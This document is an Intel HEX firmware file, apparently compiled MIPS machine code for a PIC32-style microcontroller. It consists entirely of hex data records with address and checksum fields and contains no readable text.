:1037c000050002240000c38f1b006200f4014000ca
:1037d000101000001210000021e8c0030c00be8f82
:1037e0001000bd270800e00300000000f0ffbd2727
:1037f0000c00beaf21f0a003211080001000c2a376
:1038000080bf023c100e428c0000c2af1000c29379
:10381000030040100000000080bf023c100e40acce
:103820000000c28f0011020021e8c0030c00be8f0f
:103830001000bd270800e00300000000f8ffbd27ce
:103840000400beaf21f0a0030800c4af0800c28f7f
:10385000feff42240800c2af80bf023c100e40ac05
:103860000000000080bf023c100e438c0800c28f95
:103870002b106200fbff40140000000021e8c00391
:103880000400be8f0800bd270800e0030000000010
:10389000f0ffbd270c00beaf21f0a0031000c4afa5
:1038a000080002241000c38f1800620012100000ec
:1038b0000000c2af000000000000c28fffff4324e1
:1038c0000000c3affcff40140000000021e8c0036b
:1038d0000c00be8f1000bd270800e00300000000b0
:1038e000b8ffbd274400bfaf4000beaf3c00b0af43
:1038f00021f0a0034800c4af4c00c5af5000c6afd4
:103900002120a003218080001c00c0af20000424df
:10391000ffff84242800c4af20000424214080003d
:103920002148000042270800c068090025688d0072
:10393000c06008002000042421108000211800002d
:1039400042270200c058030025588b00c0500200d7
:103950002000022407004224c2100200c01002000e
:1039600023e8a2031000a227000042242c00c2afcb
:103970001400c0af620e410b000000001400c28fa3
:10398000010042241400c2af1400c38f5000c28f44
:103990002b10620008004010000000001400c28fcd
:1039a000801002004800c38f211062000000428c8a
:1039b000f2ff4010000000001400c28f060040100b
:1039c00000000000059d023cd03044241400c58f47
:1039d0006913410f000000001000c0af1800c0af15
:1039e000810f410b000000001400c38f1000c28f34
:1039f00021106200801002004800c38f2110620075
:103a00000000428c3000c2afc80002243000c38fd7
:103a10002b106200930040140000000058020224a2
:103a20003000c38f2b1043008e00401400000000b4
:103a30001000c38f1400c28f211862005000c28f83
:103a4000f9ff42242b1062008600401000000000a5
:103a50002000c0af2400c0a3059d023cf0304424e8
:103a60003000c58f6913410f000000002400c2938d
:103a7000401002002400c2a31400c38f1000c28fa4
:103a80002110620001004224801002004800c38f10
:103a9000211062000000428c3000c2af0f000224ef
:103aa0003000c38f2b10620006004014000000009d
:103ab000820002243000c38f2b1043000900401005
:103ac000000000001c00c0af059d023c00314424f2
:103ad0003000c58f6913410f00000000040f410b37
:103ae000000000001000c28f03004014000000001e
:103af000010002241c00c2af1400c38f1000c28f4b
:103b000021106200801002004c00c38f211062005f
:103b10000000428c3000c2af260202243000c38f66
:103b20002b1062001000401400000000ee0202247e
:103b30003000c38f2b1043000b0040140000000026
:103b40002400c293010042242400c2a3059d023c2c
:103b5000183144243000c58f6913410f0000000064
:103b6000f30e410b00000000960002243000c38fca
:103b70002b1062000d004014000000009001022490
:103b80003000c38f2b1043000800401400000000d9
:103b9000059d023c243144243000c58f6913410f38
:103ba00000000000f30e410b000000001c00c0af3d
:103bb000059d023c303144243000c58f6913410f0c
:103bc00000000000040f410b000000002000c28f25
:103bd000010042242000c2af1000c28f0100422425
:103be0001000c2af1400c38f1000c28f21186200f2
:103bf0005000c28f2b106200050040100000000032
:103c00002000c28f0800422c98ff401400000000e2
:103c10002000c38f0800022410006214000000007e
:103c20001800c28f010043241800c3af2c00c38fbb
:103c3000211062002400c393000043a02400c2931b
:103c4000059d033c40316424212840006913410f45
:103c5000000000007e0f410b000000007e0f410bb2
:103c6000000000001000c28f330040100000000070
:103c70001400c38f1000c28f21186200ff3f023c66
:103c8000ffff423421106200801002004c00c38ffd
:103c9000211062000000428c3000c2af26020224d4
:103ca0003000c38f2b1062000d0040140000000094
:103cb000ee0202243000c38f2b1043000800401492
:103cc00000000000059d023c483144243000c58faf
:103cd0006913410f000000004e0f410b000000006f
:103ce000960002243000c38f2b1062000d00401498
:103cf00000000000900102243000c38f2b1043000d
:103d00000800401400000000059d023c5831442486
:103d10003000c58f6913410f000000004e0f410baa
:103d200000000000059d023c683144243000c58f2e
:103d30006913410f000000001400c38f1000c28ff0
:103d400021106200801002004800c38f2110620021
:103d50000000428c3000c2af0f0002243000c38f3d
:103d60002b1062000d0040140000000082000224ad
:103d70003000c38f2b1043000800401400000000e7
:103d8000059d023c783144243000c58f6913410ff2
:103d9000000000007d0f410b00000000c80002245d
:103da0003000c38f2b1062000d0040140000000093
:103db000580202243000c38f2b1043000800401427
:103dc00000000000059d023c883144243000c58f6e
:103dd0006913410f000000007d0f410b000000003f
:103de000059d023c9c3144243000c58f6913410f6e
:103df000000000001c00c0af1000c28f0100422470
:103e00001000c2af1000c38f1400c28f21186200cf
:103e10005000c28f2b10620007004010000000000d
:103e200020000224ffff43241800c28f2b10430000
:103e3000edfe401400000000059d023cac3144241e
:103e4000059d023cb03145240413410f00000000e1
:103e50001c00c28f07004010000000002c00c28f21
:103e6000212040001800c58fa60f410f0000000060
:103e70001c00c2af1c00c28f21e8000221e8c00371
:103e80004400bf8f4000be8f3c00b08f4800bd276c
:103e90000800e00300000000e0ffbd271c00bfafea
:103ea0001800beaf21f0a0032000c4af2400c5afae
:103eb0001000c0af2400c28f0600422c290040141d
:103ec000000000002000c28f00004390f000022498
:103ed00024006214000000002000c28f020042246f
:103ee00000004290211840002400c28ffcff4224b1
:103ef0001c006214000000002400c28fffff422457
:103f00002000c48f21284000e00f410f0000000076
:103f10001400c2a31400c293059d033cb431642471
:103f2000212840006913410f000000002400c28fc7
:103f3000ffff42242000c38f211062000000429046
:103f40001400c39307006214000000000100022463
:103f50001000c2af2000c48f2400c58fff0f410f97
:103f6000000000001000c28f21e8c0031c00bf8fba
:103f70001800be8f2000bd270800e00300000000ed
:103f8000f0ffbd270c00beaf21f0a0031000c4afae
:103f90001400c5af0000c0a3010002240400c2af9a
:103fa000f40f410b000000001000c38f0400c28f0b
:103fb00021106200000043900000c29321106200b3
:103fc0000000c2a30400c28f010042240400c2af5b
:103fd0000400c38f1400c28f2b106200f2ff401444
:103fe000000000000000c29321e8c0030c00be8f57
:103ff0001000bd270800e00300000000d0ffbd272f
:104000002c00bfaf2800beaf2400b0af21f0a0034a
:104010003000c4af3400c5af2120a0032180800050
:10402000200004241400c4af2000042401008424d0
:10403000213080002138000042270600c0580700c8
:1040400025588b00c0500600200004240100842461
:10405000211080002118000042270200c048030000
:1040600025488900c04002002000022401004224ab
:1040700007004224c2100200c010020023e8a2037d
:104080001000a227000042241800c2af1000c0afe9
:104090004710410b000000003000c38f1000c28f9a
:1040a00021106200000042901c00c2a31c00c293b9
:1040b000059d033ce4316424212840006913410f2d
:1040c000000000001000c28f0700433007000224e8
:1040d0000600621400000000059d023cec314424ff
:1040e000212800000413410f000000001c00c293af
:1040f000212040005e10410f000000002118400008
:104100001800c48f1000c28f21108200000043a04d
:104110001000c28f010042241000c2af1000c38ff4
:104120003400c28f2b106200dbff4014000000003f
:104130001800c38f1000c28f21106200000040a041
:104140001800c28f059d033cf031642421284000f3
:104150000413410f0000000021e8000221e8c00321
:104160002c00bf8f2800be8f2400b08f3000bd27e9
:104170000800e00300000000f8ffbd270400beaf08
:1041800021f0a003211080000800c2a30800c29300
:104190001a00422c07004010000000000800c293e3
:1041a00041004224ff0042302014027c9c10410b4d
:1041b000000000000800c2932000422c0b004014b5
:1041c000000000000800c2932a00422c07004010a3
:1041d000000000000800c29310004224ff0042309b
:1041e0002014027c9c10410b000000000800c293c8
:1041f000e6ff42240500432c1c0060100000000074
:1042000080180200049d023c1c42422421106200de
:104210000000428c08004000000000003042049d75
:104220003c42049d4842049d5442049d6042049dca
:10423000200002249c10410b000000002e000224ec
:104240009c10410b00000000270002249c10410b31
:10425000000000002d0002249c10410b0000000013
:10426000210002249c10410b000000003f000224aa
:1042700021e8c0030400be8f0800bd270800e0034a
:1042800000000000f8ffbd270400beaf21f0a0032e
:10429000c8818293ff0042301f004230ff0043304c
:1042a0000100022403006210000000004f11410bc6
:1042b00000000000c8818293ff004230600042305d
:1042c000ff004330200002240300621000000000c1
:1042d0004f11410b00000000cc818293ff0042305f
:1042e0000800401000000000cc818293ff004330a2
:1042f0000100022403006210000000004f11410b76
:1043000000000000c9818293ff0042302300432c4b
:10431000890060100000000080180200049d023c2b
:1043200034434224211062000000428c0800400007
:1043300000000000c043049d1444049d3845049dc2
:104340003845049d3845049d3845049d3845049df5
:104350003845049d3845049d3845049d3845049de5
:104360003845049d3845049d3845049d3845049dd5
:104370003845049d3845049d3845049d3845049dc5
:104380003845049d3845049d3845049d3845049db5
:104390003845049d3845049d3845049d3845049da5
:1043a0003845049d3845049d3845049d3845049d95
:1043b0003845049d4044049dd844049d0c45049d0b
:1043c00000a0023c90818327801c43ac00a0023ceb
:1043d000801c422408000324080043a400a0023cdf
:1043e000801c432404006290010004240400827ca9
:1043f000040062a000a0023c801c432404006290e0
:1044000001000424c439827c040062a04f11410bd6
:104410000000000000a0023c90818327801c43ac78
:1044200000a0023c801c432404006290010004248c
:10443000c439827c040062a04f11410b00000000cf
:10444000ce818293ff004230cf818393ff0063309f
:10445000001a030025106200ffff433000a0023c59
:10446000ff006530d01c4424050086900000c63053
:104470002528c500050085a0021a0300ffff633050
:10448000d01c42240600449000008430251883008c
:10449000060043a000a0023c84818327d01c442452
:1044a000030083a8d01c43b800a0023cd01c4224c7
:1044b0000a0040a8070040b800a0023cd01c4324da
:1044c0000400629001000424c439827c040062a0cc
:1044d0004f11410b0000000000a0023c84818327a3
:1044e000801c43ac00a0023c801c42240700032433
:1044f000080043a400a0023c801c4224c1ff032406
:10450000040043a04f11410b00000000ca818293b8
:10451000ff004230a48182a300a0023c801c4324ff
:104520000400629001000424c439827c040062a06b
:104530004f11410b000000000000000021e8c00303
:104540000400be8f0800bd270800e0030000000043
:10455000e8ffbd271400bfaf1000beaf21f0a003dd
:10456000004b0224848182af888180a3898180a34b
:10457000080002248a8182a3a08180a3020004246f
:1045800015000524eda0400f0000000003000424e6
:104590001d000524eda0400f0000000003000424ce
:1045a0002128000000a0023c1818462440000724df
:1045b00017a1400f00000000808182af708180afa2
:1045c000a18180a321e8c0031400bf8f1000be8f1b
:1045d0001800bd270800e00300000000e8ffbd2729
:1045e0001400bfaf1000beaf21f0a0031800c4af8d
:1045f0001c00c5af2110c0002000c2a71800c38f47
:104600000500022417006214000000008081828fe0
:104610001c00c38f09006214000000000300042482
:104620002128000000a0023c18184624400007245e
:1046300017a1400f00000000808182af7081828f3f
:104640001c00c38f0500621400000000a18180a33c
:104650008c8180a39c11410b000000009c11410b38
:1046600000000000211000009d11410b000000001f
:104670000100022421e8c0031400bf8f1000be8f88
:104680001800bd270800e00300000000e8ffbd2778
:104690001400bfaf1000beaf21f0a0031800c4afdc
:1046a0002110a0001c00c2a3a08180a38081828f62
:1046b00009004010000000008081828f00004290bd
:1046c000ff00433080ff022424106200ff004230cc
:1046d00038004014000000001c00c3938081828fca
:1046e00002004490ff00843003004290ff004230fb
:1046f000030042300012020025104400ffff423048
:104700002a1043000b004010000000008081828fbf
:1047100002004390ff00633003004290ff004230ec
:10472000030042300012020025104300ffff423018
:104730001c00c2a3a08180a3e011410b0000000077
:10474000a08182931800c38f21106200a0818393ff
:104750002120600000a0033c181863242118830066
:1047600000006390ff006330201c037c000043a026
:10477000a081829301004224ff004230a08182a3e5
:10478000a08182931c00c3932b104300ecff4014c4
:1047900000000000030004242128000000a0023cc7
:1047a000181846244000072417a1400f00000000fd
:1047b000808182afa081829321e8c0031400bf8f63
:1047c0001000be8f1800bd270800e00300000000a5
:1047d000f8ffbd270400beaf21f0a0030800c4af5e
:1047e0002110a0000c00c2a388bf023c0002033cc1
:1047f000741043aca18182930900401400000000b2
:104800000800c28f788182af0c00c2938c8182a392
:1048100001000224a88182a301000224a18182a3b5
:1048200088bf023c0002033c781043ac21e8c0037f
:104830000400be8f0800bd270800e0030000000050
:10484000f0ffbd270c00beaf21f0a0031000c4afe5
:1048500088bf023c0002033c741043aca1818293e8
:10486000060040100000000088bf023c0002033c2c
:10487000781043ac3c12410b000000000000c0a3c4
:104880001000c28f0400c2af0000c2930100422496
:104890000000c2a30000c393ff00022403006214bf
:1048a000000000003112410b000000000400c28f24
:1048b000010043240400c3af00004280f2ff401413
:1048c000000000001000c28f788182af0000c29308
:1048d0008c8182a301000224a88182a3010002240a
:1048e000a18182a388bf023c0002033c781043ac44
:1048f00021e8c0030c00be8f1000bd270800e003b4
:1049000000000000f0ffbd270c00beaf21f0a003a7
:104910001000c4af88bf023c0002033c741043acdb
:10492000a1818293060040100000000088bf023c75
:104930000002033c781043ac6c12410b00000000f5
:104940000000c0a31000c28f0400c2af0000c293d9
:10495000010042240000c2a30000c393ff00022410
:1049600003006214000000006212410b000000000e
:104970000400c28f010043240400c3af0000428042
:10498000f2ff4014000000001000c28f788182af57
:104990000000c2938c8182a3a88180a3010002241d
:1049a000a18182a388bf023c0002033c781043ac83
:1049b00021e8c0030c00be8f1000bd270800e003f3
:1049c00000000000e0ffbd271c00bfaf1800beaf15
:1049d00021f0a00388bf023c0002033c741043acea
:1049e0007081828f0e004010000000007081828f65
:1049f00000004290ff00433080ff02242410620038
:104a0000ff004230060040100000000088bf023c5a
:104a10000002033c781043acfe12410b0000000082
:104a2000a1818393030002240200621400000000ad
:104a3000a18180a3a18182930600401400000000a0
:104a400088bf023c0002033c781043acfe12410bcd
:104a500000000000a1818393020002240c00621474
:104a600000000000030004240100052421300000a0
:104a70002138000017a1400f00000000708182afb4
:104a800003000224a18182a3fb12410b000000005d
:104a9000a1818393010002245400621400000000ed
:104aa0008c8182934100422c0500401400000000dc
:104ab000400002241000c2a3b212410b000000000b
:104ac0008c8182931000c2a38c8183931000c293c7
:104ad00023106200ff0042308c8182a300a0023cc0
:104ae000581842247c8182af1000c2931100c2a3e7
:104af000a88182931500401400000000ce12410be3
:104b0000000000007c81828f7881838f0000639099
:104b1000000043a07c81828f010042247c8182af0f
:104b20007881828f01004224788182af1100c29384
:104b3000ffff42241100c2a31100c293f1ff4014f1
:104b400000000000e512410b00000000e212410be2
:104b5000000000007c81828f7881838f0000639049
:104b6000000043a07c81828f010042247c8182afbf
:104b70007881828f01004224788182af1100c29334
:104b8000ffff42241100c2a31100c293f1ff4014a1
:104b9000000000008c8182930b0040140000000094
:104ba0001000c393400002240500621400000000be
:104bb00002000224a18182a3f212410b0000000036
:104bc00003000224a18182a31000c29303000424e5
:104bd0000100052400a0033c581866242138400039
:104be00017a1400f00000000708182af88bf023c17
:104bf0000002033c781043ac21e8c0031c00bf8fc7
:104c00001800be8f2000bd270800e0030000000050
:104c1000e8febd271401bfaf1001beaf21f0a00315
:104c20001801c4af1c01c5af1000c22721204000ed
:104c3000000105241801c68f1c01c78fdb58410fe6
:104c400000000000d5808393010002240a00621452
:104c5000000000001000c227212040007b4b410fc4
:104c6000000000001000c327212060002128400020
:104c70002214410f00000000d5808393020002241b
:104c80000a006214000000001000c227212040002a
:104c90007b4b410f000000001000c3272120600063
:104ca00021284000a413410f0000000021e8c003a8
:104cb0001401bf8f1001be8f1801bd270800e0034b
:104cc00000000000e8ffbd271400bfaf1000beaf1a
:104cd00021f0a0031800c4af1c00c5afd58083939a
:104ce0000100022405006214000000001800c48fb7
:104cf0001c00c58f2214410f00000000d580839353
:104d00000200022405006214000000001800c48f95
:104d10001c00c58fa413410f0000000021e8c00350
:104d20001400bf8f1000be8f1800bd270800e003dd
:104d300000000000e8ffbd271400bfaf1000beafa9
:104d400021f0a003211080001800c2a3d580839316
:104d50000100022405006214000000001800c427ae
:104d6000010005242214410f00000000d580839328
:104d70000200022405006214000000001800c4278d
:104d800001000524a413410f0000000021e8c00326
:104d90001400bf8f1000be8f1800bd270800e0036d
:104da00000000000e8febd271401bfaf1001beaf38
:104db00021f0a0031801c4af1c01c5af1000c22729
:104dc000212040001801c58f1c01c68ffe55410fe0
:104dd00000000000d58083930100022407006214c4
:104de00000000000059d023c605c44241000c227c6
:104df000212840000413410f0000000021e8c003f7
:104e00001401bf8f1001be8f1801bd270800e003f9
:104e100000000000e8ffbd271400bfaf1000beafc8
:104e200021f0a0031800c4af2110a0001c00c2a3f1
:104e3000d5808393010002240e006214000000005c
:104e4000a181829308004014000000001c00c2935e
:104e50001800c48f21284000a311410f000000005a
:104e60009e13410b00000000211000009e13410b17
:104e7000000000002110000021e8c0031400bf8fd3
:104e80001000be8f1800bd270800e00300000000de
:104e9000e8ffbd271400bfaf1000beaf21f0a00394
:104ea0001800c4af1c00c5afb413410b00000000d4
:104eb0001800c28f010043241800c3af00004290c5
:104ec0002014027c212040007e38410f00000000a9
:104ed0001c00c28fffff43241c00c3aff4ff40142b
:104ee0000000000021e8c0031400bf8f1000be8f37
:104ef0001800bd270800e00300000000d8ffbd2710
:104f00002400bfaf2000beaf1c00b0af21f0a00353
:104f10002800c4af2c00c5af1000c0a32800c28f6a
:104f2000000040a001000424e30d410f0000000038
:104f3000da13410b0000000021200000e30d410fb7
:104f4000000000001400c2af1400c38f2c00c28ff9
:104f50002b1043000400401000000000211000004e
:104f60001b14410b000000005438410f00000000ea
:104f7000f1ff40100000000001000424e30d410f88
:104f8000000000000814410b000000002120000078
:104f9000e30d410f000000001400c2af1400c38fe6
:104fa0002c00c28f2b1043000300401000000000b3
:104fb0000c14410b000000005438410f00000000a9
:104fc00010004010000000001000c2932800c38fa2
:104fd000218062001738410f00000000ff004230be
:104fe000000002a21000c2932800c38f21106200ab
:104ff0000000429007004014000000000314410b21
:10500000000000000814410b000000000c14410bcc
:10501000000000001000c293010042241000c2a34f
:105020001000c393ff000224d8ff621400000000a8
:105030001000c2932800c38f21106200000040a01e
:105040001414410b000000001738410f000000004d
:105050005438410f00000000fbff40140000000026
:105060002800c48f7b4b410f0000000021e8c003e3
:105070002400bf8f2000be8f1c00b08f2800bd27ea
:105080000800e00300000000e0ffbd271c00bfafe8
:105090001800beaf21f0a0032000c4af2400c5afac
:1050a000a181829303004010000000005014410bc6
:1050b000000000004d14410b000000002400c28fce
:1050c0000001422c05004010000000002400c28fa7
:1050d0001000c2a33914410b00000000ffff02249e
:1050e0001000c2a31000c2932000c48f21284000ea
:1050f000f411410f000000001000c2932000c38f84
:10510000211062002000c2af1000c2932400c38fa0
:10511000231062002400c2af4a14410b00000000bb
:105120007112410f00000000a1818293fcff401426
:10513000000000002400c28fe0ff401400000000c7
:1051400021e8c0031c00bf8f1800be8f2000bd27c0
:105150000800e00300000000e0ffbd271c00bfaf17
:105160001800beaf21f0a0032000c4af059d023c93
:10517000645c44242000c58f0413410f000000002c
:105180001000c22721204000010005248513410f93
:10519000000000000d00401000000000059d023cd2
:1051a000605c4424059d023ca45c45240413410f2b
:1051b000000000001000c2930d0042380100422c94
:1051c000ff0042307514410b000000006014410bd9
:1051d0000000000021e8c0031c00bf8f1800be8f34
:1051e0002000bd270800e00300000000f8ffbd27f5
:1051f0000400beaf21f0a003ec80828f03004014b6
:1052000000000000ffff0234ec8082afec80828f50
:10521000ffff4224ec8082af88bf023c8050428c6a
:10522000020042301f00401000000000ec80828f1e
:10523000910040140000000088bf023c2061428cb5
:10524000080042300100422cff00443088bf033c7c
:1052500020616294c418827c206162a488bf023cf1
:105260002061428c0800423007004010000000001e
:1052700088bf033c206162948410027c206162a498
:105280001e15410b0000000088bf033c20616294a2
:10529000010004248410827c206162a41e15410b4d
:1052a00000000000f481828f0d0040140000000017
:1052b00088bf033c2061629401000424c418827cee
:1052c000206162a488bf033c206162940100042431
:1052d0008410827c206162a41e15410b0000000036
:1052e000f481838f010002240b006214000000008f
:1052f00088bf033c20616294c418027c206162a4d0
:1053000088bf033c206162948410027c206162a407
:105310001e15410b00000000f481838f020002245f
:105320000c0062140000000088bf033c20616294fe
:10533000c418027c206162a488bf033c206162948f
:10534000010004248410827c206162a41e15410b9c
:1053500000000000f481838f040002240c0062141a
:105360000000000088bf033c206162940100042417
:10537000c418827c206162a488bf033c20616294cf
:105380008410027c206162a41e15410b0000000005
:10539000f481838f100002241400621400000000c6
:1053a000ec80828f340040140000000088bf023c73
:1053b0002061428c080042300100422cff00443042
:1053c00088bf033c20616294c418827c206162a47f
:1053d00088bf033c20616294010004248410827c15
:1053e000206162a41e15410b00000000f481838f30
:1053f000200002242000621400000000ec80828f54
:105400001d0040140000000088bf023c2061428c57
:10541000080042300100422cff00443088bf033caa
:1054200020616294c418827c206162a488bf023c1f
:105430002061428cc000427cff00423021184000b5
:10544000d4808293080062100000000088bf033cf3
:1054500020616294010004248410827c206162a493
:105460001e15410b0000000088bf033c20616294c0
:105470008410027c206162a4d58083930200022400
:10548000050062140000000088bf033c20616294a4
:105490008410027c206162a421e8c0030400be8f56
:1054a0000800bd270800e00300000000e8ffbd275a
:1054b0001400bfaf1000beaf21f0a00300a0023c5b
:1054c0005c564424400005248513410f0000000071
:1054d0000400401000000000010002243a15410bb6
:1054e000000000002110000021e8c0031400bf8f5d
:1054f0001000be8f1800bd270800e0030000000068
:10550000e8ffbd271400bfaf1000beaf21f0a0031d
:10551000d48082930900401400000000059d023ce5
:10552000605c4424059d023ca85c45240413410fa3
:10553000000000005515410b00000000059d023cd5
:10554000605c4424059d023ca45c45240413410f87
:105550000000000021e8c0031400bf8f1000be8fc0
:105560001800bd270800e00300000000e8ffbd2789
:105570001400bfaf1000beaf21f0a0031800c4afed
:105580001c00c5af2000c6af2400c7af00a0023c7e
:10559000dc56422487004290211840001300022468
:1055a0001600621400000000010002242400c2afb3
:1055b0001800c28f030040140000000032000224d3
:1055c0001800c2af1c00c28f03004014000000008e
:1055d000050002241c00c2af2000c28f0500401449
:1055e00000000000e80302242000c2af8715410b31
:1055f000000000008715410b000000001800c28f5a
:1056000005004014000000000c0002241800c2af86
:105610008615410b00000000000000001800c48f38
:105620001c00c58f2000c68f2400c78f9315410f23
:105630000000000021e8c0031400bf8f1000be8fdf
:105640001800bd270800e00300000000c8efbd27d8
:105650003410bfaf3010beaf2c10b0af21f0a0039c
:105660003810c4af3c10c5af4010c6af4410c7af30
:105670001400c0af1c00c0afc40c410f00000000fc
:1056800088bf033c606062940421027c606062a475
:1056900088bf033c2061629401000424444a827c58
:1056a000206162a488bf033ca0616294444a027cea
:1056b000a06162a488bf023cd060428c0003427c9f
:1056c000ff0042301000c2af4410c28f21004014ce
:1056d0000000000088bf023cd060428c0003427c86
:1056e000ff0042301000c2afd115410b0000000096
:1056f000c215410b000000002b15410f00000000f7
:10570000a00040140000000088bf023cd060428c22
:105710000003427cff004230211840001000c28f7d
:10572000f5ff6210000000001800c28f0100422443
:105730001800c2af1000c28f0100422cff0042309f
:105740001000c2af1800c28f6400422ce8ff401462
:10575000000000002000c0af01000424e30d410f51
:10576000000000005416410b000000002400c0aff0
:105770001616410b000000002b15410f0000000021
:105780001400c2af1400c28f0300401000000000dc
:105790001e16410b000000001c00c28f2e0040109e
:1057a000000000004010c28f2b00401000000000dd
:1057b0002400c28f010043242400c3af07004230fd
:1057c000250040140000000021200000e30d410fdf
:1057d000000000001800c2af1800c38f4010c28f35
:1057e0002b1062001c004014000000002000c28f3b
:1057f000801002001000c327211062001c00c38f1c
:10580000180843ac2000d08f010002262000c2af50
:1058100001000424e30d410f0000000021184000a6
:10582000801010001000c42721108200180043ac23
:105830001c00c0af2808c3272800c2272120600011
:10584000212840002000c68f6816410f000000008c
:105850002000c0af0000000088bf023cd060428c36
:105860000003427cff004230211840001000c28f2c
:10587000c1ff6210000000001000c28f0100422c26
:10588000ff0042301000c2af01000424e30d410fbd
:10589000000000001800c2af1800c38f3810c28f7c
:1058a0002b1043001a004010000000004410c28f6b
:1058b00006004010000000001c00c38f3c10c28f87
:1058c0002b10430016004010000000002000c28f83
:1058d000801002001000c327211062001c00c38f3b
:1058e000180843ac2000c28f010043242000c3af3e
:1058f000801002001000c327211062001800c38f1f
:10590000180043ac1c00c0af4816410b000000005b
:105910001c00c38f1800c28f211062001c00c2af90
:105920002000c38f0002022409006214000000005e
:105930002808c3272800c227212060002128400012
:105940002000c68f6816410f000000002000c0af85
:105950001400c28f85ff4010000000002000c28f9d
:1059600008004010000000002808c3272800c227b4
:1059700021206000212840002000c68f6816410fba
:105980000000000021e8c0033410bf8f3010be8f2c
:105990002c10b08f3810bd270800e0030000000075
:1059a000e0ffbd271c00bfaf1800beaf21f0a00371
:1059b0002000c4af2400c5af2800c6af00a0023c41
:1059c000dc56422487004290f9ff42240d00432c0c
:1059d000310060100000000080180200049d023cad
:1059e000f4594224211062000000428c080040005b
:1059f00000000000285a049d445a049d985a049db2
:105a0000605a049d985a049d985a049d985a049d82
:105a1000985a049d985a049d605a049d985a049d72
:105a2000985a049d7c5a049d2000c48f2400c58f81
:105a30002800c68fc3ac400f00000000c616410b03
:105a4000000000002000c48f2400c58f2800c68fee
:105a500051b3400f00000000c616410b00000000cb
:105a60002000c48f2400c58f2800c68ff9d2400fb4
:105a700000000000c616410b000000002000c48f8b
:105a80002400c58f2800c68f380e410f000000008b
:105a9000c616410b000000001000c0afc016410b3d
:105aa000000000001000c28f801002002000c38f91
:105ab000211062000000428c059d033c2464642494
:105ac000212840006913410f000000001000c28f20
:105ad000801002002400c38f211062000000428c5d
:105ae000059d033c34646424212840006913410f60
:105af000000000001000c28f010042241000c2af5d
:105b00001000c38f2800c28f2b106200e5ff4014e5
:105b10000000000000000000059d023c3c6444249d
:105b2000059d023c406445240413410f0000000021
:105b300021e8c0031c00bf8f1800be8f2000bd27c6
:105b40000800e00300000000d8ffbd272400bfaf1d
:105b50002000beaf21f0a0032800c4af2c00c5afc9
:105b60003000c6af3400c7af1c00c0af1800c0afd4
:105b7000ffff02341400c2af1000c0af2617410b64
:105b8000000000001800c28f801002003800c38f90
:105b9000211062000000438c3c00c28f2b10620079
:105ba0003a004014000000001800c28f801002006c
:105bb0003800c38f211062000000438c4000c28f68
:105bc0002b10430031004014000000001800c28f69
:105bd000801002002c00c38f211062000000438c53
:105be0003000c28f2b10430028004010000000003e
:105bf0001800c28f801002002c00c38f2110620099
:105c00000000438c3400c28f2b1043001f0040144f
:105c1000000000001800c28f801002002c00c38f0b
:105c2000211062000000438c1000c28f2b10430033
:105c300007004010000000001800c28f8010020012
:105c40002c00c38f211062000000428c1000c2aff4
:105c50001800c28f801002002c00c38f2110620038
:105c60000000438c1400c28f2b106200070040100c
:105c7000000000001800c28f801002002c00c38fab
:105c8000211062000000428c1400c2af1800c28fc5
:105c9000010042241800c2af1800c38f4400c28f15
:105ca0002b106200b7ff4014000000001400c38fe7
:105cb000ffff023404006210000000001000c28fd9
:105cc0000400401400000000211000008c17410b5c
:105cd000000000001800c0af7d17410b000000005d
:105ce0001800c28f801002003800c38f211062009c
:105cf0000000438c3c00c28f2b1062003a0040141d
:105d0000000000001800c28f801002003800c38f0e
:105d1000211062000000438c4000c28f2b10430012
:105d200031004014000000001800c28f80100200f3
:105d30002c00c38f211062000000438c3400c28ffe
:105d40002b1043001d004014000000001800c28ffb
:105d5000801002002c00c38f211062000000428cd2
:105d6000212040001400c58f140006244eb5400fba
:105d70000000000008004010000000002800c28f52
:105d8000010043242800c3af30000324000043a0d7
:105d90006b17410b000000002800c28f0100432454
:105da0002800c3af31000324000043a001000224f7
:105db0001c00c2af7a17410b000000001c00c28f0c
:105dc00009004010000000002800c28f000040a021
:105dd0001800c28fff00423001004224ff00423011
:105de0008c17410b000000001800c28f01004224f4
:105df0001800c2af1800c38f4400c28f2b1062007e
:105e0000b7ff4014000000001c00c28f04004014c3
:105e100000000000211000008c17410b0000000062
:105e20002800c28f000040a01800c28fff0042303f
:105e300021e8c0032400bf8f2000be8f2800bd27ab
:085e40000800e003000000006f
:020000040000fa
:020000041d04d9
:105e4800b0ffbd274c00bfaf4800beaf4400b7af9e
:105e58004000b6af3c00b5af3800b4af3400b3afc4
:105e68003000b2af2c00b1af2800b0af00a0143c96
:105e7800059d163ca13cd6265800a6afc47284ae38
:105e8800219800001c00a0af0000b0909a000012fa
:105e98000100b1242110d002000042808800423065
:105ea800a2004014250002248b00021604000324db
:105eb8000100b280218000001800a3af21b80000c3
:105ec80004001524ff0052327900422e01002326d7
:105ed800ea0040101000a3af80101200049d043c9b
:105ee800fc5e8424211082000000428c08004000df
:105ef800000000001464049d8462049d8462049d73
:105f08008462049d8462049d8462049d8462049d6d
:105f18008462049d8462049d8462049d8462049d5d
:105f28008462049d8462049d8462049d8462049d4d
:105f38008462049d8462049d8462049d8462049d3d
:105f48008462049d8462049d8462049d8462049d2d
:105f58008462049d8462049d8462049d8462049d1d
:105f68008462049d8462049d8462049d8462049d0d
:105f78008462049d8462049d8462049d8462049dfd
:105f88008462049d8462049d8462049d8462049ded
:105f98008462049d8462049d8462049d0064049d5f
:105fa8008462049d8462049d8462049d8462049dcd
:105fb8008462049d8462049d8462049d8462049dbd
:105fc8008462049d8462049d8462049d8462049dad
:105fd8008462049d8462049d8462049d8462049d9d
:105fe8008462049d8462049d8462049d8462049d8d
:105ff8008462049d8462049d8462049d8462049d7d
:106008008462049d8462049d8462049d8462049d6c
:106018008462049d8462049d8462049d8462049d5c
:106028008462049de463049d8462049d8462049deb
:106038008462049d8462049d8462049d8462049d3c
:106048008462049d8462049d8462049d8462049d2c
:106058008462049dd863049d8462049d8462049dc7
:106068008462049d8462049d8462049d8462049d0c
:106078008462049d8462049d8462049d8462049dfc
:106088008c63049de862049d8462049d8462049d7f
:106098008462049d6062049de862049d8462049d9c
:1060a8008462049de463049d8462049d8462049d6b
:1060b8004461049d8462049d8462049d8462049dfd
:1060c8006c64049d8462049de862049d8462049d5e
:1060d8008462049d6064049d694f410fc472848e7c
:1060e8004a010216ffff0324212820020000b09075
:1060f80068ff00160100b1241c00a28f4c00bf8f5e
:106108004800be8f4400b78f4000b68f3c00b58f63
:106118003800b48f3400b38f3000b28f2c00b18fa9
:106128002800b08f0800e0035000bd277b56410fc0
:10613800000000003d18410b21282002080012240d
:106148007b56410f00000000c472848e694f410fd6
